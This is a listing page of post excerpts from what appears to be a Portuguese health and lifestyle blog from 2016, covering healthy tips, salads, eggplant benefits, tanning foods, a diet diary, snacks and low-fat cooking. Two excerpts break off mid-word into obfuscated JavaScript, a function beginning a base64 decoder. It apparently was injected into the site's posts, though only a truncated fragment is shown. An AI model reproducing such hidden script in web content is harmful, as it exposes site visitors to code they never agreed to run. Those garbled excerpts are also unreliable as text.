Ago 29, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: 8 grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Ago 13, 2016 | À descoberta, Receitas
2 saladas muito frescas e saudáveis, por Luísa Fortes da Cunha Salada de atum com queijo Halloumi Ingredientes 1 lata de atum 4 fatias de queijo Halloumi grelhado Alface, tomate, pepino a gosto Tempera com sal, azeite e vinagre balsâmico Preparação O queijo Halloumi é...
Ago 8, 2016 | Equilíbrio, Saúde e bem estar
Diz quem sabe que os benefícios da beringela são vários: ajuda a reduzir o colesterol, atenua dores articulares, ajuda no trânsito intestinal e faz bem ao coração… mas não é tudo. Hoje revelo-lhe um segredo que vai adorar: a beringela é uma grfunction...
Jul 27, 2016 | Equilíbrio, Saúde e bem estar
4 alimentos para um bronzeado perfeito, por Lillian Barros. O verão já chegou! Depois do inverno rigoroso e dos longos períodos chuvosos que tivemos, todos desejamos um pouco de sol, calor e uma pele bronzeada para tirar a barriga de misérias. Apesar de já existir uma...
Jul 25, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Olá! Como bem sabe tenho partilhado todos os passos da minha dieta aqui no meu site. Na semana passada escrevi sobre a fase da dieta Lev em que me encontro: a fase de manutenção. Nesta fase posso comer um pouco de tudo mas com peso e medida, ou seja, de forma...
Jul 17, 2016 | À descoberta, header, Receitas
3 lanches saudáveis para manter a barriga lisa e saciar a fome, por Teresa Manafaia. No dia a dia é importante fazer várias refeições, e para não correr o risco de se empanturrar de pão de má qualidade ou doces num qualquer café ou máquina de vending, o melhor é levar...
Jan 23, 2016 | Equilíbrio, Saúde e bem estar
Dicas para cozinhar com menos gordura Há muitas maneiras de reduzir a gordura na sua dieta e incluem-se aqui dicas que pode utilizar ao cozinhar. Inserem-se, genericamente, em 3 categorias: os alimentos que compra, o modo como os cozinha e o equipamento que usa para...
